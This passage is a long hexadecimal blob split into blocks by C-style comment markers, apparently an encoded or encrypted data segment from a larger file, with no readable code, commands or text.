a53b6da0c4a08b9bec3d0d20f223342010ac0b9458b35534bc9e1f1848b244a71777aa18417cca3e5b3db233a014b102b084105e42a571b6561fb8bd95563cd35289ec1e384b1e9c475bf0e8a49b81ba53b2552dbff6ba5fce3764e2e58a81692ed5ec4c93116a62f20bf05a4c1bed1d69e7ad6b334b042309aa12a18247245b2e536e3b92968da47c43b349613e756f24b3497736606da1803911fab15d521a13a43c7b792f724fce47d2c14a1f5a76bb631cf9dfa29c790f0b1a89af9289179a0fb4f7163df51537f459ed4e4713e11174e28e509d36663c5d2fc1f5c5f88aeabde9f7946329e7948d75d1842cff8d79f8413bd17fc75014e57d6ecc3ebd80bfcfdc70c7b68b6095de8161e350d724d84764bff99ce89c9528673b9c28092e85ec77e7a8a84437120a9f8c2f821559794b9063e182bc949a7c51663a3b33f4aa255f38a2ee4ae393793cc3f2e4d012a170eb10838a94bcc1a324ac4a3592120abf00811d156d770e3479d7fc84a675ff096e82cd1930fbf0ce62417c826386df1f2684e099c426265c2aacce2be5a0fb7869e7d998f76dcc8f51d0acb99aff1c671350f38844888f0f5b8848e29e9e4d0854faf6aa0d41c14a23e8120d682f22e3134720ee110f3e6305610ac2a1*/
/*a19d5715d1582328f9b1f5e0bd441e8a4697018ed3e9d3415b14d54ee32b3cc14425285f157b958d6663a59ecf90b9b149650e004fe6977d91df1e5f4620b2abee5785704464208b193aaea86b98525a35664d2d1a15f8cd37d9fa7390cb15e29879a330fcc81824b1af7a650a952e146bf9581b5e16f16cf0376bb6d069076566a5c96b63cacad26ea00fce57622215231356bbcb6926d1c368d31904b673209e3a3de1197e329dd0986b387461a3b7c407f2cd004087f6c401fc5b1bc162ad20fccfd0425bf35c2d12c1f2fcea4e92d187cb6472e65b8f47ab87d8d8668a9f31f0ba92a5894c293a0c298434a963f0f5367ca5a04976dcd026229e8f0605e13f32b1218858655df8e774b59cdefbc951e63579242690d5ece0687d76f22b337291a10f40cf7e574a16392e58dc83d0501e86d58624a6ec6650969949c6512008de22945483f9c7dcd39f4009e704cca072005f62857c80c57869d14b227647330b8a0bdf93769b195058eb6730e77a590a6aa68895ffc80091c5bd9a7d5ddf8cf871715fc175c5b03c4651174f4aefb4f3ac73ebc30c8756725695a247e5990d3ef537406f1aa27f3537f28798d4a01f7c418e989be5c9b57228310e0c56d03b50b73ebdf8dfbaea1962d5195bb4a8a443dbd7320cd61d3573921ad8feec4a623fc4b2e88ce9db216fa8afebc5ecd6c6d993a5ea7e47ac12043a7b505a7327f4f0ae49358dbf2a637b56d04414cc281db960bb77478403444453c9e73bec891204472920f87ea33db716e6994cad7b13a0a4f1216b57b4c104e79de0db79da6287867ffba0c9e254b3f779c2ce0834b19777e9795c3c6fc591c5b1ebc21726d2c265a07296bb2da193ba05b8aef846b4b2e7c440ac17c4e856856ebf3c9a09738f2fc8bfccfb03b3ac0dc4327059e09f0b14d5c3d7ef422f1906ab3354ee78418136ace27d19237c6fda223ce4f91835e66c1c87c908eabf04464444e7dd37262afe038aa7a4a5c3baf0e05bd3041a2fb383843461a2ede3b3b4b86db8f86fd9a939229a9c47c4a6b6ca3bbab1c22db8e626393891f3672b399ff81c0c5510f8d48cd83a527711b4854121edc49c16f6ebbe744b23cae5e986a7a3beab36c836793e3c602dd117627008eddf65ae024b0baa9617b0a12af88ff05da449a457a9eae9ba36e4b1c48a65fbb3349a26d9278728f80b8d0f39bebbe320234545dca8d6feb01553d5143f83d096c72d636e2d937f3a9f3ea7b26cd6fa762a4c8a5f151e16e6baf11224c8f42abd108e0eaa18a7d7f0565a57b7d68a5fe281ae791f10918d0fd3a81f8ecdd6af32f75af83a5d74a36b319ad74aaabf0dbdcbfee502d78dcf3d89efd0b6eacb4cc0a44f58e44294983f8f95a95c991b0ba28d1e124e52cb3a896ed9c8786ac31a3ead00ce2109b11637b3ded39f1150ce40930861fdf4585b57c54e294dabddd5eddd26a55d7a178ba07284c2df54e09cd8db0624caff558acc0eaf3d84be2b0f99daf8f92919e63efad3ef29481dd7171334181ac884ff3b7dd16fb0b01bb4be52a36c7240f7759f8d93e5767ec2c052f99269e0fefd32727d13ce634a8e8a05ba62f4b81f818858b4417e695f78839ccabb3a5836879e62600c0c3f666fd65e6527bc08d8f5ed767c8571fa3bfe4e085bf978398000ec6836741012cce07b1bd078dda36931943921ec097d227389ff9542568bab799394587dde56139caad8c53ddb3b96e7679792cf43196a99dbd666d6b593e948648ab686b38dad5cd708cdd0b2b23b5f717bed037316c3dd634e30a051d4771010a6561eecd6ebe8eb1e557f65ea1ff90f770f275c2946bffb8fe0baa07451308a53061b2dbff15f5e85e11b290a96968da419731e4ee07456ced6f17b31fdb5ed4f5685bc3df8f43746616c0b81dd010f7814a85df1ed107ca1e02c7fd827fe3285dc1b6894aacd172a161f60e9dbf7384feae3d7efa6512d8aa34591aa9b5d45dbb89371c5d4b796b1a5fad197a8d7f702d2c12a6f0a4871d7b43404cb48140ad9d6309a25c674b06d2b1eacfa5be5a0f2daf7cfa05e2d370e8e18f9797b8c9598310ef1b2c174213d7fb3fcab39000d0be88cb05fd7fd8534887217e8b01546155726c022d57ab591f53237dc474ab0495cc7fbaae4b7683f304da7cd75e778873ae26dd7460d044b04126c4ad0d556aacf2ef54a0baba880d56515a1ab9c3afee4419ef883a1740d6068c1532a5fc95c7a036e5f321841a4ff212e0f316abbb06d64e6c8f3a23d5beca18bb74f63016495a786661f4fa2b3a02afb3589792674aac7ef54c9713a3df4afd491989c1236a5346524a46fdfd36c0c967e1b64bd2538c213d13c9cede5e1718add4015ba874e4109b800f631ed581bda450a11d316fe615c87392fc350cc9767eefafd8499fac6c230f20959750f2e6630948803db66d4f67566709f7ac13ed4082fcbeea6c36ba08a2816e1f449701d12c60fe31e5bc507478a81d0d23c6ca859ff7ba22f514e8d23bbc2604baa1ecfba6dee2936772dbd1cbb79852d1e21990c3039c1b934bc5fae6743486a9ac88c427b6820c65e1e0327998a7cd6ebfaca0a1cb04f9263d85a512066fb8992658b856623011987b02c88cc0721233de0c78bfb5e8e542a8c120f3795dcba803ff445ca039f4e012c680831f786c1720f13ba3c5477becfb334e6bad8e002ee9dac9b0fdb67da5b879666af92844f605453bb09234c0059eb6b5f613da37ab5110e2045b02eca133b88b7730f22f5ff5b43f3df2b2a0c1b2f49e7e97a61b100ba313dc74fa7d205bfe3cc43ee2512acc81f542a*/
/*29947874dbd830e474099bc449d71949de0148fa79b80376d6fddd2d3b3538428f92fbfc4fe7cab9635751da6cb6c83243820366ef5ec87fc30d95f5f73e83700cc24b21c00ace08ee9bcda75ce8ed5d662b22e8fcaedd7102669c159184b8d1d30dbc6999eabf9d5d20c16b19e5b36ba12a1c501068720786e2820968dde4bb81a94bdfd7533f800f9f499b745cb9afac78290d3e20fdbb9f8956ca423680d49625e137f9bd125dfc0a58333fd9c1e9cae9a78bd4851fe31cdc6d5d6fbd157082d91cfab8deab9ad3719cb78c4085f06a6ab502b48a03c796792a59d1cfe644e35922894495b8a8837df17fd2b0719a494acac9ff8b32242da1072cdea40b6c690fa7a2045a17ab59fa7262e4747c770a2125bffc6a5987e6f0dd2a3fd3366f4f9813a6e21c6ecce8b1c514bf09c60ac9f7f53a6bcfe6aed668280697a8d0434de64210edbead1f01ebefaa9104600e21e1dc4e326da9fb0e44d9c7d62888fc06316cc660aeda846230f9d93858abf212b342b6f5b40d04857b3e5a24977edb6daf3465298787d799d58a606b65a94fa029ca6278cf40767c8619ad5fe3ee29a4d46bf7df7469fe9ad909d0cadcd8ab211dba114eb43a8ae90670e9600aae92852b3fd121738f96e7babb6d7d71e8c8e3a2cdf76496cc78bf101281c0ad584b613c054df18cad8b09f9362fdf245b3062ce96ab041611e822c8af2ec536207a396585af31a26236908c71da1b0824d2e29eb0c312ab61c67f9260f5ce9398331f4444e50ed4547881d78a61ecffbb0636c70cd9b58bd664d1ea67570e52a7002d040aebd9d817eb2efb2ebabfcf82ffd664f8627538d4d369a3049f68188505ef022603a54cd34dd4e97c9f87f06dba21b28c19eaf69f660e9f004665f065a278cad9b893b0247a0bc1a691887803da1cd63617fadbdcbfe2d890ae2caac5b1871c7a4de88d56f5eea88b469f51c8163636817cd8da9873d909e39ce774ebf2bc0f0ebbf7b5b3974ee5aec463068833a0fef978845cd433ed76895370d444bee37ff08181dda02b83ee1e97ebbbf0c81b49b4b62b624f8e5b4e4339255c0ebe80bbc60cd7dae9b0773ba0889c30e4ca13ec08550591e0ff2728c8fea7a7f8a8715ce0f06a4516e40b3bce0f3fe62685635aaed1bee350c41c8ac4a6f8c625a6a339df8c55cc42433b79d0cb664b62ded3accda7cdfe9f3c8fb510842e6fe1f8fad9ba1832047790de7f25dc2e7e8e3daca439ce546def06295fd34aa80130e662522408fd40c0344491ee2fc3a0724fd7ad441b1f9b64d2bf4039cbca3d1e50fd5fd5b3e591b836192fb5f7cb4854af494f0a8c35054e6381a023714aad89466e8b0e8e62c33a76cb6ea3d7b0e67459c8ed0c17159e9c6bbbabe6e4c507a05b610e370d926baca493621d0a8b78994b153dc95d8e6eeb5967e7e567feaff3d402a1048f4101024e6a59f15114d76ceefccff394903cd3dd77b37aefd2a76be5580d984b783abb993b8a399486559938286d796e6ed5c19a78a351f34bf78595bd24b5622ee69de8c8b04da29e5504523d3f5acaf590b67709b7c4d56dc551953c7d0e12981c161f6b8a2fd14e3b8ef6e8d92c3be110d3744dde53eeeeb3329547ad3d600e2ea617090787b4faca8fc61c6a0f8547515e29849ec1b4a8b62b3ad2252b8751c77482df3e2e2db733cf48c18a591c1ec36c99e7ed0dda92ae4f0c0f92c0f6113d05259a09dd34a238d2eece02cd9ad0942351fc45532d2b2add679bef655897d5811d6e3673e4dd1961ed7e1dacb0d9aa710bb55f4f6fb1cb2375b1c455b99c817f17a4453651038dbed79f40e63df14083edbee318da8e0db25a31e12e40c8abdefb534d5c379c6056776671c00fda7d24def393996013630dddfb983f88213831e976eda3e748b74234043c80118de771cc097ce68478fbd4b4a01613dc5d4e63dda2a6e5d9e8df2de38baf5083017158a179bfb48eb2350ce76f86e329014795b28a62231e5eaefd6af9cdf3d9090adb3f5b7c0269661f8de0b082cb8d46b345dda3c787f3ec586c6d620a5ce5a74a2cb5503f617258a9f6646754cb75c43b58082eb061b7879c71655842c634bacba542a861bee6ded2be75c676bc96f86d022ce141ad51ca8ec7bba2c38d4d3755641e0a2cef5ac9f4bdf19cd65226df83f29e6c56072dc67c8cf51916f6f70e4573685b248be27cef56dc3ffd4bafabd680e8bbe65c92c1d56bc357b5b28e9c19a0a0263812cac4c5ac0a9f78be038be7486d122f2586b73cb9bdc056adf39efc42472ad7a87e9d30469bce895a0cab3b3769cb5bae2ffa76d1db6e71f1531c289f4c49612c06adabdf90b36f8d270d87cbaf162d6eb7340df7e8851f0b7031322f9aaca90be439687094e9ad9b864550b93f0c4f719f7f4cd20ecd2560c197c253b0bdcb96a0c8ab7cb57657945f213f13fea2867b12efbd2b7e605372f380cbb3900a02cd47b0533891531a33d4ba8d63f1d4297c8cd865f2cec98d8fa12668795ca1af5deda2c42630e53ff40d920cf39326d0aa4667993f9bb4d9bb3614c362b153b8ceb148959b127a3bbe2969f801901b9107fbb364743a617f72efa2eaa4a0dcc9e4750a0c979512d1f38b4e75e4d91091db9518ddcfdb63841d44e61b9271b86ddb8c4fb43837075954b6d8a57ad21d3488dc548857e7bb9a1a3d656e4d0c730726cda8825c0361e38c6cd740639764da7a9ba3579cf53bd99767e798ce396f9cf5242e90a96e541c3022cf92c0256db252e86bc2c5bfccc1ca4e728cecba1431eda43984495dc25d10d01f397ea750e4e44f95c99ec3*/
/*1544e9257cc68a9bf17c1a27b538396cab1b74deb7e5f31f2f1bbb5e06a3a98849f829a8f6df4f0464cf40e36e3f9b0b62020cf079f1bebb15e277c0f9c119313686a51b40cfad1aaac102713adbc4323f57f012d464f6767641a544d06017a88c84c637b3bd3ea0ab01f00ffda81acb3b6abc4ec04ef2590369d69d3c7dd4876d79f6c33fa5176f2e742c9454117816401f25972fb1b1b345abbc8cfda4783f8ef0b4c44bfde7f473c069eb3c389b9012b5a58ca7ac14cf479b4cd1896a34e4641401cc28e839ecdc89f5785f0d299cffb1cb70c5229b4aa5cf39cc236a0156f74c89869bcb47c045f39433a7d200aaab13d6cbb903d93bb7320c946f2905a0273ed3220faa1427e8adf7fb9ecf5683baee88258a5306e23797fb4ca646bb43e720672b5dfad8f56845ee1899c2591924de54014ffdfe2d1dfea7b81e2db94cd5ff04b98db833ee2d344e7a51de817bde5989f48f2234262bdcebac2c386329006cd49b5adad0f782d33af04ba1f4b09c03824fbc8682d1930bace0c5f616fd7949b14d6dccd9cbff02c21f6c9b8a6e6b0e0161d624ca94dbaef232aca7d185401e4ee0e6129448b74b51c4525b4a3b163908aace81dfcac022f36f42677061965f7d31a46cf0247282315b91a31ebffd20f234737cf4be7145ee940db453d9efe23a6228f36b78b36213a58b3771d1c9b1146ce42926bdd1270d1a7a0183f3173935ec8ddd2c64311b25c7ae17bd58695109da02fc6a40febdd5432b5502406f304ecfa480f0a59a5b4bfc664c2f4a963385504925978126776cafe5725b4eeacd775a7a99474c2b7fd147e95e44d2eed7b56108d1770c0065f8462ed0ee547ffce59df7104e0fc0a5b22ea042e9a59731e877e633eaf4aa106888198d270dddf1b79fa0b643d044431b9ad8f228c4ef6cf0ef5e6b169e957a9478b0889f76fcccac4eeb0ecabf35f378e2cd9ae82e6968d3b72aa4ce603705c2b68629e4b629f948d2c4d3ce8639e8fae56128e54d7762ced2ffd1af2d155a47931a7bb7c939c22b64fa5b86515a2434b0a9401ef17ab87a1a2b0613541cfb55074944a1918e441dfd8cad454db35352813e35fe83f8b72df2c8a00d2f2ddb6cb323bc208ac918cfde1b161860844bf4d7d7de5445789ac9d7847c8958f90a95f5a62295a4dbde2b3d622be00b1f940d670292887fac635a1ea034a3b0ec91ae233e73196198e6544a04204db283b8647904e32de71a37bd0abbe8d1eff0d222b1b9439bf8562b0a8a888cb1f949727c69a5bbaf411929e97b8a4a7b1e1b7a80f636fbbc01d233cce7b4618e87da8dbb1a3098a14e9e725f3924258f6802c605ea999ef36fe3701f1cddef994025237bc3eb4884bf46f4d06c775b9b836de579572fd6559147e11626529e4e6ffea784967dec6472f261018e3f3dfc7542fb1ecf84e1e8fcb422e550ccd45a06f39a1c9244737fa417b4120770d638200d95a79aee8748236a4257b3b48c75c6893ee3427ddd87fd7e7f14b3f53e125a0c6e98cd15d383f1c1c083152d1bd045c4b95706cf7b728e4fa7dab8c263743df48c06bc07a41d86460fac6b8c40598564c164b21f091d19837d1f8d3ade8cdf261bad5943b2a18c498ddd76b9c0abae5f3e02ee2d6fc98e0dbd16de12f19af946af685981f8aa27849cb5c947973dc56e4e75c214d39dd22a7b005b0ae248ef5bafe2d22d037a3bab6e52d25ed92db25590389ea5a7645876daeceea7b37f74cfa99f9ada5ae33068219e9076a2f89a0f5afe6912f1d4f78b86f0d10e6f003f5eb6fc4914fd7745b289d2b5d7730452182b00b192853efc742b7d0b914a1d3b279a0715be050decaaf477722ec886ccff127429d966c3e1e6581b0902dff5cd4317ee681554682145ec6ef3d495154a647459d66d6bfbc3bb182575eae25842e58e2de20efdfaf1a626fb9970b87e5197f16c07214cca62625b63ef4bacf76984fc362ec8c648d9a90184ccfe9acf68d54c5038934bdcdc82ff374cb6a8cace4ddd2e2a8de841702f6833d53bf9a4b21de22b739253c5c98be434a1c2a15406a5d72416cda151cc8a9e2a7511e459850fcf1180116cd7be43a248f77954d59b37e8b5403ee4b5a29e852dca698d581155d9477ad2a9cebcb30a7eafcdd92b070abef1cb61c050c64f1db9053b211ace5410ad8c636f8632f29ec4da0c50e00744410f46eb9cb3e80decb4c4a9fc333f7dd310d22d008a06e5012e7f6bfe8a2ebfb014d3730d9148a34c1d08394d779799d259dc2b2ee121bd88c1099a647136bfd3ab53e9f4a19a53fb6a419dc68e29729674761391ddcfb2cac9c4fd5020c63b3ac96760f4c3e77ab1633a8656ca718708504b59f4b02ffbbedd93e7be8f9ba2f706cccd6e016f869196bbbaa4bcac30294388dcfaf03cf494f724159b7fff231de442fe0085a52fbf21c3855c8487e92091350bb8e61ff0a4a6a9ab117d97132a44fe23bc73bf6bdb74f0017ef65513cbfea6b0d66e878fdee1bac967c0ddf2898d51d8e26f5f89202fe9307071fa2c3c23cf888ecf20bbceee72d0fab6ef5d14ed8a08fb57754f8cd50b77d5594e141e3204e0c625672edb154dcbf517de94899328c81306f462c65c8a20a61649e125e6cdbc23904002ebc62af6f4df43b1de25e496cd56ed5785674ff926b60541ef78a92769ac0ada0f3bdf2b1951cdb2f3b95ca889cd6220fa2ca05d5ab15662d9597c93a10b5a19a09cad1cff58ca5fbc619cc0ea1ae023032da71fc456335a9266039667dfc098ea5dfcbc8ad3d142359904fc23e38f35d9e3245884a3b81aa082b8928c80b7*/
/*24952231f6210b548a5061934cd9fea4914eaf74a8a2508384d136416ba5e845d127b5c09a7c4e793d36e3dc38aefbd7fa696e96e4eda4484fb702bc373de4444044be05837fae40bbaa84d9e3f143f84adc5c6cd5e78125379c675358c06d66815fac298b83068cd1f74477896063313e717aba63cd94cba0b190be57c2b2364b0cf71a7257312f89b6b7566f81ae2443cfa0e0c02cf2d0fba94195246af504f58b35f2abd1226bcc834ab0fa0da62ca7e0ca500f1da7c1f972910464069fe383ac60ec2d7095a173ddd8184efa6d7c246788a642e45b1e01d9e9826022e60e5800b3bf28e86ea5ed3378d4463667961be05bacdcb767b9844e52f26ff9a8b186a76280a234a9aa83059286efa6d6f3c0aa59b4883edba99759a0869053406d12e2c3a176d1e735db3fd888a45f9ad078d41b1161230f2c100f8292496657b7a2c2a58963181a8cfaf284a7389c72e0044b200178466b556a0abebcd52c2535c2e4ca36688c746e8575c0a9aa92eeac0f77b6072ed37049cdab4f625d25267a17fd44c3ca4dcf6ac25fda157ac13a84e83053d26fc54847f1c1f1769fa4a3579d5f06b89e3ef965ffa40ae6c803a5be0e5a9d9a3bc58353000488f2446b107c15cd1c86b5caae1379e943d746a777013ed51bf790c13d205a9479eb31fe35af55f9298458d608a8f9a180624391930c17136734dee7e9f1e1e8ed876b94358337832084c002d0e10c857824640a95bc98b925c6a0b02bc5c8963549124a3e4f78275fc03153267c4f1aef44f5fcf413c085640c31b0369dd417d6fa41cb99fc5e3384db1485c5035adbcb72d24ff4603c90de659c29a24dee817ef8193c811544d9a841f943e7dcb82dbcf217ffd8d164873086e82aabe54fb94940f93427959ea14e3f7fbdfc95ecc02c17b4b7247da0686de910f737ba7a8de81f0c8882bf5b3f645fb4506b43dfb49ab340fd29dead2fd5c7120971fde36f48b9162fd52202ed67cc7f409bc10a0f9bec046c0c33f2e9bfe5eaac75e386fac5182d3468e395dfb0da7980621f6589b5ddfe212b97888f3e8d310471150bf883dd2d685734a712074719ed8f8b89acebb14604db0d4ce0565c2300479fb862f4ba683bedf705cd10bdef59f3a07002db46c95cfb4129abe6be9d577bdde60f1c24fa7861c19499d6df9f46af481f94d8a6d0995b674d5ad0d85d2daaa0ef02c27ac15fa69120e317a61efc1f798caa61bdc9c4a8cac3f653455e75b93ef97994cfaecf4d0eb69605016b0734ae2b6d806d7e92b821eb56e0aa427c784e7a620f7bf8033bc48e1548381db518eb1cfb5bf292aade4a62abbe62bec9c925c0e2911abf5f6ded65ff5573500fe683fdf08e58d79ddd5d2e2b7878ef9799c17e1008657560039cc19259440056cc59248bcf84e20250fe22809f5564bb3e10423015c1bd124920d18c08087fbee1cddd1a80d7966ba7fedcba4e7b5aa122c052957b6d55ea245aa4606cbb2ccbb49461ae2c270f2f2f00ee8970d635da8ef86b8ca91c150721c918f9162cd3ccfc1d362e1a24055714490bb1959af1b2258a0323f1c46191e5994aa1b7b471f1759c80b6557c50f1ed4efe2640552a448023be3ea3726a92b2fa885e3f33fdb3700dc06b6d70f4e250241e89154425112b7bca2d0ca271ca339cd9eb2b9559c3322357243ea40c39b73ecd0ea5612f420bf85e30bdb16848302d32506952847f35eadfb7733b73ed5f93aa9cf6ec8a9b2e94ae920b72a293f3a54a9aa9427bb2c8b2e734776e8108e89392d690d7d910cab52beb0b312e99b8130102416fda620eaf2bfccadc2f2cff43510e63c7ec70cac0ddc7e71c552a1f4993850bcda960e948dc66cdf91028ceb922eeb840ccd44692943cce5b642b05bce12be5b901909249931777177c718edb824cdfa8ac5abb83fcd0155c293f8e4bd514b323ddfbca15db21ba364b8ad3c996980589bb956c55ca4b04be5ffec5fcdaa24638d9238bd9ef489388f1c9729eb3d27a419a88e5f45e56fe9126588ce824110e94257a0719fc41421faf826ca813476a58b31488d008de9f8ee9c70b49822405f71861094b5154a606e70d46e08230c1424523248e4c75744caee996cbb73eefb9004a813c8deabf9bd8f061320030d00ad1554ceedcc4931a3022b107090e40bbedab46e42fb47bdc4706f6d4cadfdf5836cbd1b0e74ca028d7a6921222a11d13585e0018e8d6ecf0ed278e4ad3b067bbe57140f0d160d679ddc929768093dd061b0dc75d89e235c7813b229eddfdf00a54678ab7c351a92c94dea2b34a1437ec670b0a21ccb740ec5a2177dc49e2feaf5f72901d47bfdce3651c4da088e4b27ceb690922e8d9b9b25182decff6d16e8fbe5b364a286f3a9dc0d0bccdd397d1708d936a2377de3898dcdbcc391c3258bc396e1301f550eec667a350abbb43c85cbd657eb298ae2655be610727be3e60b4c94a2438fbb6394b5b08d92d673b4e66246c41f1effd962a8e725aae8327b9d82b7d066fe8675b248b2f19fa3101edfaf785eb4d4823322f919c40bc083cc0e6a065eb3d891a019b1bfe179982f3fb4694bfcb914109a57b29fcd9b770bf6c599799781682927ee602a1fd87e1e88e97131513c46c4cae02576d4524c7c6e4ccd34c01446d860063a81bc1b1822838affa267e266cc154d05c0499d192a24fc670e0481408e882a4c2ef0c2e58111579fa758c8f5bf939cb1be51a9bc789a5c7fa9d521036da920811b78468feaefa40982a0a7ad67dc7d893fe3ff38227d4644c6a31386b610025d39c3a2f777f67f060181982a1adf9d614cc6027*/
/*819922e94a4c555451565d066e06d3c0ff459a640691441d816b9cb8486107c2f0d83ac7b01ae0b904c562feeeacffb89f63bdc3d01d3eecd268f0f8d5ecf41fc391b0059a55f90459262926fc9e9b27e38f511cacc43eacaec27cedbab0f9360d924dc6b279ecd693e87f220a694c421a1a4b03b8c2738e969c79ade77722fd9b130223edcac5e61e493e968d3e4993fb6aa1b779c0a414637063d3782102e1497d3b297fb2b375bfb22c901031f85f04cc6b6dcb8e9034d85b9bbd0afcd4a38a3b9cb62d9551d4375bfe676f6890a1118be64d4179be1e55af1dcc925b733cee72d88ccd5546d0054ce9ec212d952e4f871729db7426428af6ef380ace4fe392c210baa4b62f9aac6de5653785bbb32f0593f5296cb2c038353829381ebb22ce61c2a1fa783b0625dadcdc47d154562b4dbb6b65b6f8ad196bf96679074d02f01591b98852a3e2e1b65e690047013e46c2b84f1e2e6e6bed5cc6afadfb01fee8ac3a3bea86c019799d7ee8964c60523ccd145ae1c3f5e72ccca92f11068081f6fb32b8ede2c3b9dc795a2552147c170d8781313b144fa0041ff543b6abcc908747a6e2adcba8a2ab6202f9df723c89a2720c8a102f6a4f3f7af11a16b582a8075887485f93aad9f0aa333d98f2c47079749fc1f13a25c989dac46bcc6c9dff1e3d53b0fda412ea089c4ad50a484bf1e362f3742f976689314a7524204c3773105fc52043fb48af9a5db4bcbcbe1f1e09f25726d2ba3b3724f827852a2c23bcfb9f7f99786ede400c55450c48e41754ec613a18862ee33089173e9006ee564405acb4560735df1c43b9ba96795cd3929b135ba8439310351409e012bc73e1ea9027d8f5e91fb00e6fe9ba565a19beff28f943563176c2f10d5c5575e9d040a7f93279594681f97e92612ae45501f40d488ba549156a57e203657cee1d8936148f491c449956c530dac7e2167c8c9a408d6900ff23f613755a359f8f15ff006c1801979ffb811b0bcc7616f1be031923b4491b2a9ae89418ed05c3e3c8bc091a773a7db985c46ee2558f9596c8c23c90f5192028c549a29b200304a192268aef825d3df3ba6c3238b86bdee81fcf500418b1cda27065f055e962e19be9159a1635edadfdc41a8ba855b1a93258afd2952fcfb4be7aedb4b68c2644abf3695cd018210b1adb8543ec56528d479d9e52bf55b34386de9e90295d90c728ef4b48efe67325a6778a1239ca7bf4fdc203535dd72c0a046e0a5e36f017617781408526cfe442c0a546a2e1701d0582535ea1a99bcf4d74794b499898b31d1571921179aacb55ea8af0de072f561f509cc9ea009c402825cc432a078fe7455fb6244380e2372a6aa2c37240dfe9f3d258c2487ea964d1acb7841f6d05136ea1fb3990f7dcdb615246af8fbabe1941e4b89fa93554e72f33d2c4cebf20e23da499f4be30db4c69989072ca64544ed942dc13cdb4ebda2e0900bdf1d40a86a7710d1fff4402edc16283ec8e2e2632c33436f9293a5e56d16cd2f79cfe087ee23340fb6a0e103d2c7c3fbcb7e59e8641d62e30b4f45e4c9d81bd35e8d198b407011e567c1bd38273ff23f4955d04a4630f4fabd5602a08f1473ad3e23199099bd51703bd37c6e37919b49af7f35aa1d39cf6a8e7ef0d04f5527562c31886c19dc3952f94e71347cd1c2fa1f1ffb53624273af741059901be4259cb9a27466327c452578a0223b216864d78e8285ef3bbe0ff694764afaa00a3704fa7bf6ee182ffdde9e1a99bef82bfca0d956db085c7fa00eff2f6c9ad7b4d57dd2f393656fdfca5b72845c205737456dcbba2581fd96ae35e2592434c84f634306c90a1bd1a7ac007787fb192241bd0ddb610ea620a7b6f3b04f83697a8600461c4f10f0257d9e7c495c9b05275da025abbaa6d27e33fa10b8e9a2f34ddd1c1db129f6933ed306c800b38da3d348d4ebe22d0ca682de90c7d303d454acdef08fe05b971c1db9580823c27eb5db8ef115a7cd845af325e4f1caef9088c41abe68f2a09f24c0b9d3d9acd31f5128cf03625957039e0aa6a38cb7eae171e50b1a595298f76a4fdb9e76ce20c62adce3221f6a453d74bcf5932b6085084af3e6c8091bef3b2c63c4ae2e6af40d14e7976d6e29e82f48befc76d03ecd276667b9f82194a2fdbcd211119ea614d14cd936a86f32acdb370ada8fe0859e17af2b2adaeabd85e4b3d25cd7f47e2b8eb36eb2ebfad19b0136a916aaf0a92c3fbac096c7f4cb1d54b172fe9cf565b49c49be51ff22c78ff0292c8628c78dd9f6556bb1e23cbe4027cfb5a94a5aa1247e6547c502ffec876adbdcce23c7e771095d2bd168d67fb4bf781ef8f69afd49acab8a18a53d3c4430f78bfda1c6081d96f814222715bd9cef47e3daeb3f9262d6f66f6bd985d7974133d9cdfc875d10f9c363d25a63914bbcb54d289bcf1f5eb0953b9ef5b6322c645f8a2e181e90d429d7a61367675a56f382b199799ed1d71a5d460d9fae55d21d0f8e0058e03e4dd60cdb4d1c0d558dd6d4d62eb406d0247b13858b1f66f53f6104aafb3f421626ded7b376e2d6339eaa8a5e9a8e62a35179f9d019ffbbd156ceebe1af5e923a5fc0dda400d7dee55bc31a5e419011c704a541a4c28df460c174aa6e4869f8f48a38f7721fa16c9239987db42b68eff35e4e68c335651bde8de3529c4c5d68079d1cab68f5ba6fc19e0c7d90014f15d5ef9c3cfbeaba203f4eda7467810cfdd20f9ff286cb3bbbd3e6f097826bda957abf4f8ad74f1e25d52f3e6f1d1f506160134cf6bd0facca427bb9babde38118fa52f218cdde35ddef63678d34c5524080822*/
/*d6e3daaca47de095d23f6c930795450f96773b9118c747de0dcc74080a6135f6b2a133b880054e8303f411fe276a89d70da70439b6aa790071a804a6c7b0a6fc7da4e593e7907d8ab39451ec5ed859bfbf1b0754f80eacc27ffb0abbe4be1dd83b52f9a745cd53f9dbbe89db76ee013d9d504cce5783a1bbfc320631733d4bc1d9f17f8a81b9bdd67e8a946f70c6aff572afd306acb1ff84915e9ac92d5a24c2b357473867b8ceb4d67648406ab057bdb50b215459b390dc5d330bac4f433c4d69a58548aaf27f389d4519eb0803bc4e773bcaef311c8296ef0aeae0897002b5a6769082b2fffa76115be0b0386a59e692701799502013847f4368c5011a6f40b5d22146213858ad6eb85bbbcae3ee78b813083af8bae3653bd494c32e53d60c81488990fea82daa4e84f9d67af3a78778dafa092605350d7ff8167ae08c9935af7553f3ab3ba8b8bf5c85f333fad4f63d1da52a2f0387cbfbebd8a21a312bcce38d22de56650efaec6d0a23c56d06f187f0fa1a1f5191b35920e7b8d2d14ace574e6c5bb68e398ca6e77eb946571a82c8f217373a277dd2fc4fae7a395c1b434d0235bd608ac30dc6b0378106ed8b4c6854c61f89882b1799f853685e99390dad5c98672ff227b7d254c94fe0c23f177f0d681b99cd053e9b06faaf10f26b725f182fc67d75f70889d7334695e84eae6705138287db9afc32356e36230737d5839a11c13a007ed7fe7487c83a49f70bfce1a3b32e47c84dd2d2385b62ea1d5dfb18884eb0e0f310a36cdcdb7ea5dad67ebad3352ca5e234822003211cdb413da804b90efd5ce645afc885c280e3508eac38a4cd1ad4bc5a56a4c069bca52f346ae186f6183088cfff45578e9e640a0dcd9ac6fabd9d66581396ae5564f027ca5a548ebeb3db00f724fef4edf740e92e2ef978da3078dd167c028ba7449be999863ca66805b634035633162ab9db4c176d18dc348fd5164b9a7d1f5bbbc1f1c5f5e3495e5190dc9a973c72870d5ba00b6efee235a8b382ebcc7c3a402fb7ee034543142fc041609044163ba4e52df2d52446b9de2f36cf131ee36e10ea00f429b46cb7dfbd92fb862332b00a0e8609d932df1f332784950c4133c696bdf8fcc43a24a9aec1f39d969815921f61156b13b0ab1a75130aa34f3b0b10cae1b49405d4d92968507b15c4bbdb069512c12cf6ef33b29074ad13289fb637a093ac312767c4a25ea6775435d867afc89c4b56ba555d08a705a3315cea2af4ec86fed6a05833914284f58993db4986c36ecd5cb5a613419dba6038165b0c6432a02381434266b09eb46d94265b9b03867fdd76fd5ba15f3075edf75eb1908ca2487b638765219e20526d7305aa35d9ad190385499a727e28399a3576ff035e17a7a02a842bd3a88432cc4f3d23a2fff384e31c0df381cdd0d4b80c28a3760bf1a5eb752064637e09dce29f9e213a2bb0eba2a